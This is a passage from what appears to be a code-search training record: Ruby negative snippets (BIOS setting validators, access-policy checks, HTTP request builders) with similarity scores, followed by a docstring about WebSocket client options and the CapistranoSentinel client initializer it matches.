\"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_rear_nvme3link_speed_validator.valid?(@slot_rear_nvme3link_speed)\n slot_rear_nvme3state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme3state_validator.valid?(@slot_rear_nvme3state)\n slot_rear_nvme4link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\", \"GEN4\"])\n return false unless slot_rear_nvme4link_speed_validator.valid?(@slot_rear_nvme4link_speed)\n slot_rear_nvme4state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme4state_validator.valid?(@slot_rear_nvme4state)\n slot_rear_nvme5state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme5state_validator.valid?(@slot_rear_nvme5state)\n slot_rear_nvme6state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme6state_validator.valid?(@slot_rear_nvme6state)\n slot_rear_nvme7state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme7state_validator.valid?(@slot_rear_nvme7state)\n slot_rear_nvme8state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless slot_rear_nvme8state_validator.valid?(@slot_rear_nvme8state)\n slot_riser1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser1link_speed_validator.valid?(@slot_riser1link_speed)\n slot_riser1slot1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser1slot1link_speed_validator.valid?(@slot_riser1slot1link_speed)\n slot_riser1slot2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser1slot2link_speed_validator.valid?(@slot_riser1slot2link_speed)\n slot_riser1slot3link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser1slot3link_speed_validator.valid?(@slot_riser1slot3link_speed)\n slot_riser2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser2link_speed_validator.valid?(@slot_riser2link_speed)\n slot_riser2slot4link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser2slot4link_speed_validator.valid?(@slot_riser2slot4link_speed)\n slot_riser2slot5link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser2slot5link_speed_validator.valid?(@slot_riser2slot5link_speed)\n slot_riser2slot6link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_riser2slot6link_speed_validator.valid?(@slot_riser2slot6link_speed)\n slot_sas_state_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"disabled\", \"enabled\", \"Legacy Only\", \"UEFI Only\"])\n return false unless slot_sas_state_validator.valid?(@slot_sas_state)\n slot_ssd_slot1link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_ssd_slot1link_speed_validator.valid?(@slot_ssd_slot1link_speed)\n slot_ssd_slot2link_speed_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Disabled\", \"GEN1\", \"GEN2\", \"GEN3\"])\n return false unless slot_ssd_slot2link_speed_validator.valid?(@slot_ssd_slot2link_speed)\n smee_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless smee_validator.valid?(@smee)\n smt_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"Off\"])\n return false unless smt_mode_validator.valid?(@smt_mode)\n snc_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless snc_validator.valid?(@snc)\n snoopy_mode_for2lm_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless snoopy_mode_for2lm_validator.valid?(@snoopy_mode_for2lm)\n snoopy_mode_for_ad_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless snoopy_mode_for_ad_validator.valid?(@snoopy_mode_for_ad)\n sparing_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"dimm-sparing\", \"rank-sparing\"])\n return false unless sparing_mode_validator.valid?(@sparing_mode)\n sr_iov_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless sr_iov_validator.valid?(@sr_iov)\n streamer_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless streamer_prefetch_validator.valid?(@streamer_prefetch)\n svm_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless svm_mode_validator.valid?(@svm_mode)\n terminal_type_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"pc-ansi\", \"vt100\", \"vt100-plus\", \"vt-utf8\"])\n return false unless terminal_type_validator.valid?(@terminal_type)\n tpm_control_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless tpm_control_validator.valid?(@tpm_control)\n tpm_pending_operation_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"None\", \"TpmClear\"])\n return false unless tpm_pending_operation_validator.valid?(@tpm_pending_operation)\n tpm_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless tpm_support_validator.valid?(@tpm_support)\n tsme_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless tsme_validator.valid?(@tsme)\n txt_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless txt_support_validator.valid?(@txt_support)\n ucsm_boot_order_rule_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Loose\", \"Strict\"])\n return false unless ucsm_boot_order_rule_validator.valid?(@ucsm_boot_order_rule)\n ufs_disable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless ufs_disable_validator.valid?(@ufs_disable)\n uma_based_clustering_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Disable (All2All)\", \"Hemisphere (2-clusters)\"])\n return false unless uma_based_clustering_validator.valid?(@uma_based_clustering)\n upi_link_enablement_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1\", \"2\", \"Auto\"])\n return false unless upi_link_enablement_validator.valid?(@upi_link_enablement)\n upi_power_management_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless upi_power_management_validator.valid?(@upi_power_management)\n usb_emul6064_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_emul6064_validator.valid?(@usb_emul6064)\n usb_port_front_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_front_validator.valid?(@usb_port_front)\n usb_port_internal_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_internal_validator.valid?(@usb_port_internal)\n usb_port_kvm_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_kvm_validator.valid?(@usb_port_kvm)\n usb_port_rear_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_rear_validator.valid?(@usb_port_rear)\n usb_port_sd_card_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_sd_card_validator.valid?(@usb_port_sd_card)\n usb_port_vmedia_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_port_vmedia_validator.valid?(@usb_port_vmedia)\n usb_xhci_support_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless usb_xhci_support_validator.valid?(@usb_xhci_support)\n vga_priority_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Offboard\", \"Onboard\", \"Onboard VGA Disabled\"])\n return false unless vga_priority_validator.valid?(@vga_priority)\n virtual_numa_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless virtual_numa_validator.valid?(@virtual_numa)\n vmd_enable_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n return false unless vmd_enable_validator.valid?(@vmd_enable)\n vol_memory_mode_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"1LM\", \"2LM\"])\n return false unless vol_memory_mode_validator.valid?(@vol_memory_mode)\n work_load_config_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Balanced\", \"I/O Sensitive\", \"NUMA\", \"UMA\"])\n return false unless work_load_config_validator.valid?(@work_load_config)\n xpt_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless xpt_prefetch_validator.valid?(@xpt_prefetch)\n xpt_remote_prefetch_validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Auto\", \"disabled\", \"enabled\"])\n return false unless xpt_remote_prefetch_validator.valid?(@xpt_remote_prefetch)\n true && super\n end",
"def eval_policy(policy_type) \n\n # Bail out on the policy evaluation if 'override_policy' is defined \n # in the current Thread. This indicates that there is some function \n # privileging that should take the place of the actual policy.\n\n return Thread.current['override_policy'].call unless Thread.current['override_policy'].nil?\n\n # If there is no policy object defined, then we assume that \n # access should be allowed. This is part of our philopsophy that\n # GuardRails should not interfere with existing functionality\n # unless explicity told to do so.\n\n if policy_object.nil?\n if policy_type == :append_access\n # Not sure whether defering to :write_access in this case\n # actually does anything since the entire object is nil\n return eval_policy(:write_access)\n else\n return true\n end\n end\n\n # If there is a policy_object, but it has no rule for the \n # specific type of access we are concerned with, true is the\n # default response, except in the case of append access, which\n # should defer to write access if undefined. After all, if\n # you do not have write access, you should not be able to\n # append anything.\n\n function = policy_object[policy_type]\n if function.nil?\n if policy_type == :append_access\n return eval_policy(:write_access)\n else\n return true\n end\n end\n\n # Loopbreak is a thread variable that prevents infinite loops\n # from occuring when an access control check occurs within\n # an annotation's function that are mutually dependent.\n # For now, we just run the annotation functions in a universally\n # privileged environment.\n\n return true if Thread.current['loopbreak'] == true\n Thread.current['loopbreak'] = true\n\n # The number of parameters passed to the policy's function depends\n # on how many parameters it wants. It can have no parameters, the\n # current user if it has one parameter, and the current user and \n # response information if it has two.\n\n func = eval(function)\n if func.arity == 0\n ret = eval(function).call\n elsif func.arity == 1\n ret = eval(function).call(Thread.current['user'])\n elsif func.arity == 2\n ret = eval(function).call(Thread.current['user'], Thread.current['response'])\n else\n raise GuardRailsError, \"Annotation Policy Requires Too Many Parameters\"\n end\n\n # Turn of the extra privileges\n Thread.current['loopbreak'] = false\n\n # Return true if the access is allowed, false otherwise\n ret\n end",
"def make_setting_predicate( name, options )\n\t\tif options[:use_class_vars]\n\t\t\treturn lambda do\n\t\t\t\tLoggability[ Configurability ].debug \"Using class variables for %s of %p\" %\n\t\t\t\t\t[ name, self ]\n\t\t\t\tself.class_variable_get(\"@@#{name}\") ? true : false\n\t\t\tend\n\t\telse\n\t\t\treturn lambda {\n\t\t\t\tself.instance_variable_get(\"@#{name}\") ? true : false\n\t\t\t}\n\t\tend\n\tend",
"def is_valid_type(plugin)\n plugin && @MapTypes.include?(@PREFIX+plugin)\n end",
"def match\n extract!\n policy_failure_match! || self\n end",
"def initialize(opts = {})\n @data_only = opts.is_a?(TrueClass) || opts[:data_only]\n @skip_filename_check = opts[:skip_filename_check]\n end",
"def check_for_missing_enabled_option(hash); end",
"def allowed?\n maps = AccountAccess.maps_for(current_account)\n\n allowed = maps.collect(&:allowed).flatten.uniq\n denied = maps.collect(&:denied).flatten.uniq\n\n allow = allowed.find do |a|\n a[:controller] == params[:controller] &&\n (a[:action].blank? || a[:action] == params[:action])\n end\n\n deny = denied.find do |a|\n a[:controller] == params[:controller] &&\n (a[:action].blank? || a[:action] == params[:action])\n end\n\n return allow && !deny\n end",
"def mapper_needs_run_arg?\n return false if settings[:map_command]\n return false if mapper_arg.to_s == mapper_name.to_s\n return false if File.basename(mapper_arg.to_s, '.rb') == mapper_name.to_s\n true\n end",
"def _pv_required(opts, key, is_required=true)\n if is_required\n if (opts.has_key?(key.to_s) && !opts[key.to_s].nil?) ||\n (opts.has_key?(key.to_sym) && !opts[key.to_sym].nil?)\n true\n else\n raise Exceptions::ValidationFailed, \"Required argument #{key} is missing!\"\n end\n end\n end",
"def can? action, &block\n @action = action.to_s.sub('?','') + '?'\n @action = @action.to_sym\n\n # pre check\n raise RuntimeError, 'Method name not allowed' if %w(can).index(@action)\n raise NoMethodError, %[Policy check \"#{action}\" not found in #{self.class}] unless respond_to?(@action)\n\n call &block\n end",
"def can?(action, resource, options = {})\n resource = resource.model_name if resource.is_a?(Class)\n\n return false if !resources.include?(resource)\n return true if resources[resource].include?(\"all\")\n\n action = options[:special] ? action : action.acl_action_mapper\n\n resources[resource].extract_settings.include?(action)\n end"
] |
[
"0.55878156",
"0.5470052",
"0.5415447",
"0.53895444",
"0.5330231",
"0.5261278",
"0.5173917",
"0.5155703",
"0.51412326",
"0.5125277",
"0.51230836",
"0.5112458",
"0.508078",
"0.50254714",
"0.49620473",
"0.4951802",
"0.49440658",
"0.48520997",
"0.48173445",
"0.48167518",
"0.48125175",
"0.48008737",
"0.48002452",
"0.47976002",
"0.47928643",
"0.47691205",
"0.47324798",
"0.471817",
"0.47026542",
"0.47014502",
"0.46973523",
"0.46947446",
"0.46898398",
"0.46897805",
"0.46879423",
"0.46837047",
"0.46774152",
"0.46728462",
"0.4653462",
"0.46524626",
"0.46481183",
"0.46447757",
"0.46321717",
"0.46261135",
"0.462502",
"0.46238863",
"0.462267",
"0.4614236",
"0.46138167",
"0.46135348",
"0.46021962",
"0.46013948",
"0.45970416",
"0.45963058",
"0.4592602",
"0.45859993",
"0.45859343",
"0.45824534",
"0.45805693",
"0.45773154",
"0.45715263",
"0.45661363",
"0.4560467",
"0.4548566",
"0.45485386",
"0.45467868",
"0.45440212",
"0.45436105",
"0.45277792",
"0.45223403",
"0.4521075",
"0.45182744",
"0.45168373",
"0.45160273",
"0.45071706",
"0.45044455",
"0.44983226",
"0.44916907",
"0.44915655",
"0.4486622",
"0.44831103",
"0.4480042",
"0.4479614",
"0.44785097",
"0.4477836",
"0.44752303",
"0.4472311",
"0.4471862",
"0.4470594",
"0.44699922",
"0.4469988",
"0.4469937",
"0.44649392",
"0.44605318",
"0.44546804",
"0.44543537",
"0.4452848",
"0.44484597",
"0.44454587",
"0.44443387"
] |
0.633603
|
0
|
+host+:: Host of request. Required if no :url param was provided. +path+:: Path of request. Should start with '/'. Default: '/' +query+:: Query for request. Should be in format "aaa=bbb&ccc=ddd" +secure+:: Defines protocol to use. If true then wss://, otherwise ws://. This option will not change default port it should be handled by programmer. +port+:: Port of request. Default: nil +opts+:: Additional options: :reconnect if true, it will try to reconnect :retry_time how often should retries happen when reconnecting [default = 1s] Alternatively it can be called with a single hash where key names as symbols are the same as param names
|
def initialize(opts)
# Initializing with a single hash
@options = opts.symbolize_keys
@auto_pong = @options.fetch(:auto_pong, nil) || CapistranoSentinel.config.auto_pong
@read_buffer_size = @options.fetch(:read_buffer_size, nil) || CapistranoSentinel.config.read_buffer_size
@reconnect = @options.fetch(:reconnect, nil) || CapistranoSentinel.config.reconnect
@retry_time = @options.fetch(:retry_time, nil) || CapistranoSentinel.config.retry_time
@secure = @options.fetch(:secure, nil) || CapistranoSentinel.config.secure
@host = @options.fetch(:host, nil) || CapistranoSentinel.config.host
@port = @secure ? 443 : (@options.fetch(:port, nil) || CapistranoSentinel.config.port)
@path = @options.fetch(:path, nil) || CapistranoSentinel.config.path
@query = @options.fetch(:query, nil)
@actor ||= @options.fetch(:actor, nil)
@channel ||= @options.fetch(:channel, nil)
@closed = false
@opened = false
@on_open = lambda {
log_to_file("native websocket client websocket connection opened")
subscribe(@channel) if @channel.present?
}
@on_close = lambda { |message|
log_to_file("#{@actor.class} client received on_close #{message.inspect}")
if @actor.present? && @actor.respond_to?(:on_close)
if @actor.respond_to?(:async)
@actor.async.on_close(message)
else
@actor.on_close(message)
end
end
}
@on_ping = lambda { |message|
log_to_file("#{@actor.class} client received PING #{message.inspect}")
if @actor.present? && @actor.respond_to?(:on_ping)
if @actor.respond_to?(:async)
@actor.async.on_ping(message)
else
@actor.on_ping(message)
end
end
}
@on_error = lambda { |error|
log_to_file("#{@actor.class} received ERROR #{error.inspect} #{error.backtrace}")
if @actor.present? && @actor.respond_to?(:on_error)
if @actor.respond_to?(:async)
@actor.async.on_error(error)
else
@actor.on_error(error)
end
end
}
@on_message = lambda { |message|
message = parse_json(message)
log_to_file("#{@actor.class} websocket client received JSON #{message}")
if @actor.present? && @actor.respond_to?(:async)
log_to_file("#{@actor.class} works async on message #{message.inspect}")
@actor.async.on_message(message)
else
@actor.on_message(message)
end
}
connect
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def request(method, path, opts)\n response = connection.send(method) do |request|\n request.url(path, opts)\n request.options[:timeout] = timeout\n request.options[:open_timeout] = open_timeout\n\n unless client_id.nil?\n request.headers['Authorization'] = \"Client #{client_id}\"\n end\n end\n\n response.body\n end",
"def url path, query={}, server=graph_server, opts={}\n \"#{server}#{path}#{build_query_string(query, opts)}\"\n end",
"def build_request path, opts\n opts[:method] ||= :get\n raise \"The :data option can only be used if :method => :post\" if opts[:method] != :post and opts[:data]\n opts[:params] = opts[:params].nil? ? {:wt => :ruby} : opts[:params].merge(:wt => :ruby)\n query = RSolr::Uri.params_to_solr(opts[:params]) unless opts[:params].empty?\n opts[:query] = query\n if opts[:data].is_a? Hash\n opts[:data] = RSolr::Uri.params_to_solr opts[:data]\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'application/x-www-form-urlencoded'\n end\n opts[:path] = path\n opts[:uri] = base_uri.merge(path.to_s + (query ? \"?#{query}\" : \"\")) if base_uri\n opts\n end",
"def update_sending_request_to(scheme:, host:, port:, path:)\n return @server_url unless validate_url_param(scheme, host, port, path)\n\n # Add / if 'path' does not have it\n path = \"/#{path}\" unless path.start_with?('/')\n path = \"#{path}/\" unless path.end_with?('/')\n\n @http = nil\n @server_url = URI.parse \"#{scheme}://#{host}:#{port}#{path}\"\n end",
"def request(opts = {})\n method = opts.delete(:_method)\n path = opts.delete(:_path)\n headers = opts.delete(:_headers)\n options = opts.delete(:_options) || {}\n opts.delete_if { |key, _| key.to_s =~ /^_/ } # Remove all internal parameters\n if method == :options\n # Faraday doesn't support the OPTIONS verb because of a name collision with an internal options method\n # so we need to call run_request directly.\n request.headers.merge!(headers) if headers\n response = @connection.run_request method, path, opts, headers\n else\n response = @connection.send method do |request|\n request.headers.merge!(headers) if headers\n\n timeout = options.delete(:timeout)\n raise \"options not implemented: #{options.keys.join(', ')}\" unless options.empty?\n request.options[:timeout] = timeout if timeout\n\n if method == :get\n # For GET requests, treat additional parameters as querystring data\n request.url path, opts\n else\n # For POST, PUT and DELETE requests, treat additional parameters as request body\n request.url path\n request.body = opts\n end\n end\n end\n { :parsed_data => response.env[:body], :response => response }\n end",
"def full_url(path, params={})\n url = \"#{host[:protocol]}://\"\n url += \"#{host[:user]}:#{host[:password]}@\" if host[:user]\n url += \"#{host[:host]}:#{host[:port]}\"\n url += \"#{host[:path]}\" if host[:path]\n url += \"/#{full_path(path, params)}\"\n end",
"def set_hostpath\n @hostpath = \"#{request.scheme}://#{request.host}:#{request.port}\"\n end",
"def initialize(user, host, url, path=nil)\n @user = user \n @host = host \n @url = url \n @path = path || ''\n end",
"def build_request(req, http_method, path, opts = {})\n opts[:query_params].each_key do |key|\n if opts[:query_params][key].kind_of?(Array)\n opts[:query_params][key] = opts[:query_params][key].join[\",\"]\n end\n end\n if @config.http_request_timeout > 0\n req.options.timeout = @config.http_request_timeout\n end\n req.url path.sub(/^\\/+/, '')\n req.headers = opts[:header_params]\n req.params = opts[:query_params]\n req.body = build_request_body(req.headers, opts[:body], opts[:files])\n set_headers(req.headers)\n if @config.debugging\n @config.logger.debug \"HTTP request\\nMethod: #{req.method}\\nPath: #{req.path}\\nParams: #{req.params}\\nHeaders: #{req.headers}\\nBody: #{req.body}\\n\"\n end\n end",
"def request(method, path, body = nil)\n Excon.send(method, @url, :path => path, :headers => web_proxy_headers, :body => body, :connect_timeout => @connect_timeout)\n end",
"def query(method, path, options = {})\n headers = DEFAULT_HEADERS.merge(options[:headers] || {})\n uri = URI.parse(path)\n uri.query = URI.encode((options[:query] || {}).map {|k,v| \"#{k}=#{v}\"}.join('&')) \n \n payload = [:post,:put].include?(method) ? Yajl::Encoder.encode(options[:payload].nil? ? {} : options[:payload]) : nil\n \n $stderr << \"#{method.to_s.upcase}: #{uri.to_s} (#{payload.inspect}, #{headers.inspect})\\n\" if $debug\n\n req = Net::HTTP.const_get(method.to_s.capitalize).new(uri.to_s, headers)\n req.basic_auth(@params[:username],@params[:password])\n res = @connection.request(req,payload)\n\n data = res.body || \"\"\n data = Yajl::Parser.parse(data) if MIME::Type.simplified(res['content-type']) == 'application/json'\n data = symbolize_keys(data) if data.is_a?(Hash)\n \n $stderr << \"#{res.code}: #{data.inspect}\\n\" if $debug\n\n raise FluidDB::Error.new(data) unless [200,201,204].include?(res.code.to_i)\n data\n end",
"def initialize(proto,host,path,username = nil, password = nil)\n @proto, @host, @path, @username, @password = proto, host, path, username, password\n @url = \"#{@proto}://#{@host}#{@path}\"\n if @username.nil? and @password.nil?\n @session = RestClient::Resource.new(@url)\n else\n @session = RestClient::Resource.new(@url, :user => @username, :password => @password)\n end\n end",
"def send_request path, opts = {}\n connection.send_request path, opts\n end",
"def set_uri(host, params)\n # delete params with empty values\n req_params = params.delete_if do |_key, value|\n # type conversion required because symbols/ints can't be extended\n value = CoreExtensions::String.new value.to_s # add #blank?\n value.blank?\n end\n\n uri = URI(host)\n uri.query = URI.encode_www_form(req_params)\n uri\n end",
"def build_request path, opts = {}\n connection.build_request path, opts\n end",
"def request(method, path, options, temp_api_endpoint=nil)\n if credentials?\n authentication = auth_query_hash\n connection.params.merge!(authentication)\n end\n\n connection.url_prefix = temp_api_endpoint || @endpoint\n response = connection.send(method) do |request|\n convert_hash_filter_params!(options)\n case method.to_sym\n when :get, :delete\n request.url(path, options)\n when :post, :put\n request.path = path\n request.body = options unless options.empty?\n end\n end\n\n response.body\n end",
"def make_request(method, path, query, headers = {}, body = nil)\n full_path = @api_base_path + path\n\n request = ProxyClientUtils.build_request(method, full_path, query, headers, body)\n\n begin\n response = @connection.request(request)\n\n from_headers = ProxyClientUtils.normalize_headers(\n ProxyClientUtils.filter_response_headers(response.to_hash)\n )\n\n [response.code.to_i, from_headers, [response.body]]\n rescue Errno::ECONNREFUSED => e\n raise RemoteConnectionError.new(\"#{self.class.base_uri} - #{e.class}: #{e.message}\")\n end\n end",
"def request(method, uri, headers, body, opts)\n # Create the client\n client = Net::HTTP.new(uri.host, uri.port)\n\n # Use SSL if requesting a secure connection\n if uri.scheme == 'https'\n client.use_ssl = true\n client.verify_mode = OpenSSL::SSL::VERIFY_PEER\n client.ca_file = opts[:cacert] if opts[:cacert]\n client.cert = OpenSSL::X509::Certificate.new(File.read(opts[:cert])) if opts[:cert]\n client.key = OpenSSL::PKey::RSA.new(File.read(opts[:key])) if opts[:key]\n end\n\n # Build the request\n request = Net::HTTP.const_get(method).new(uri.request_uri, headers)\n\n # Build the query if there's data to send\n request.body = body if body\n\n # Send the request\n client.request(request)\n rescue StandardError => e\n raise TaskHelper::Error.new(\n \"Failed to connect to #{uri}: #{e.message}\",\n 'http_request/connect-error'\n )\n end",
"def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '')\n self.hostname = host\n self.port = port.to_i\n self.context = context\n self.ssl = ssl\n self.ssl_version = ssl_version\n self.proxies = proxies\n self.username = username\n self.password = password\n\n # Take ClientRequest's defaults, but override with our own\n self.config = Http::ClientRequest::DefaultConfig.merge({\n 'read_max_data' => (1024*1024*1),\n 'vhost' => self.hostname,\n })\n\n # XXX: This info should all be controlled by ClientRequest\n self.config_types = {\n 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'],\n 'uri_encode_count' => 'integer',\n 'uri_full_url' => 'bool',\n 'pad_method_uri_count' => 'integer',\n 'pad_uri_version_count' => 'integer',\n 'pad_method_uri_type' => ['space', 'tab', 'apache'],\n 'pad_uri_version_type' => ['space', 'tab', 'apache'],\n 'method_random_valid' => 'bool',\n 'method_random_invalid' => 'bool',\n 'method_random_case' => 'bool',\n 'version_random_valid' => 'bool',\n 'version_random_invalid' => 'bool',\n 'uri_dir_self_reference' => 'bool',\n 'uri_dir_fake_relative' => 'bool',\n 'uri_use_backslashes' => 'bool',\n 'pad_fake_headers' => 'bool',\n 'pad_fake_headers_count' => 'integer',\n 'pad_get_params' => 'bool',\n 'pad_get_params_count' => 'integer',\n 'pad_post_params' => 'bool',\n 'pad_post_params_count' => 'integer',\n 'uri_fake_end' => 'bool',\n 'uri_fake_params_start' => 'bool',\n 'header_folding' => 'bool',\n 'chunked_size' => 'integer',\n 'partial' => 'bool'\n }\n\n\n end",
"def host=(host)\n @uri = host.is_a?(::URI) ? host : ::URI.parse(host)\n reset_http_client!\n @uri\n end",
"def request(method, path, options)\n if credentials?\n connection.params.merge! api_key: credentials[:api_key]\n end\n\n connection.url_prefix = endpoint\n response = connection.send(method) do |request|\n case method.to_sym\n when :get, :delete\n request.url path, options\n when :post, :put\n request.path = path\n request.body = options\n end\n end\n\n response.body\n # It seems like Faraday should have a way to handle this. Oh, well.\n rescue Faraday::ParsingError\n raise Error.new(\"Server Error\", \"Unable to parse JSON response\")\n end",
"def request(method, path, params={}, opts={})\n options = { url: \"https://#{organization}\" }.merge(opts)\n response = connection(options).run_request(method, nil, nil, nil) do |request|\n if request.options.is_a?(Hash)\n request.options[:timeout] ||= options.fetch(:timeout, 10)\n request.options[:open_timeout] ||= options.fetch(:open_timeout, 10)\n elsif request.options.respond_to?(:timeout)\n request.options.timeout ||= options.fetch(:timeout, 10)\n request.options.open_timeout ||= options.fetch(:open_timeout, 10)\n end\n\n case method.to_sym\n when :delete, :get\n request.url(path, params)\n when :post, :put\n request.path = path\n request.body = MultiJson.dump(params) unless params.empty?\n end\n end\n options[:raw] ? response : response.body\n end",
"def request(method, path)\n uri = 'http://api.twitter.com/'+path\n connection.url_prefix = options[:endpoint] || @endpoint\n connection.run_request(:get, path, nil, nil)\n rescue Faraday::Error::ClientError\n raise Sociable::Error::ClientError\n end",
"def connection(host, port)\n Net::HTTP.new(host, port).tap do |connection|\n connection.use_ssl = true\n connection.ssl_version = SSL_VERSION\n connection.ciphers = SSL_CIPHERS\n end\n end",
"def build_request(http_method, path, opts = {})\n url = build_request_url(path, opts)\n header_params = @default_headers.merge(opts[:header_params] || {})\n query_params = opts[:query_params] || {}\n form_params = opts[:form_params] || {}\n\n update_params_for_auth! header_params, query_params, opts[:auth_names]\n\n # set ssl_verifyhosts option based on @config.verify_ssl_host (true/false)\n _verify_ssl_host = @config.verify_ssl_host ? 2 : 0\n\n req_opts = {\n :method => http_method,\n :headers => header_params,\n :query => transform_hash(query_params),\n :timeout => @config.timeout,\n :verify_peer => @config.verify_ssl,\n :verify => _verify_ssl_host,\n :verbose => @config.debugging,\n :http_proxyaddr => @config.http_proxyaddr,\n :http_proxyport => @config.http_proxyport,\n :http_proxyuser => @config.http_proxyuser,\n :http_proxypass => @config.http_proxypass\n }\n\n req_opts[:pem] = File.read(@config.cert_file) if @config.cert_file\n req_opts[:pem_password] = File.read(@config.key_file) if @config.key_file\n\n opts[:stream_body] = true if opts[:return_type] == 'File'\n\n # set custom cert, if provided\n req_opts[:ssl_ca_file] = File.read(@config.ssl_ca_cert) if @config.ssl_ca_cert\n\n if [\"POST\", \"PATCH\", \"PUT\", \"DELETE\"].include?(http_method.const_get(:METHOD))\n req_body = build_request_body(header_params, form_params, opts[:body])\n req_opts.update :body => req_body\n if @config.debugging\n @config.logger.debug \"HTTP request body param ~BEGIN~\\n#{req_body}\\n~END~\\n\"\n end\n end\n\n HTTParty::Request.new(http_method, url, req_opts)\n end",
"def get(path, query = {})\n make_call(mk_conn(path), :get, nil, query)\n end",
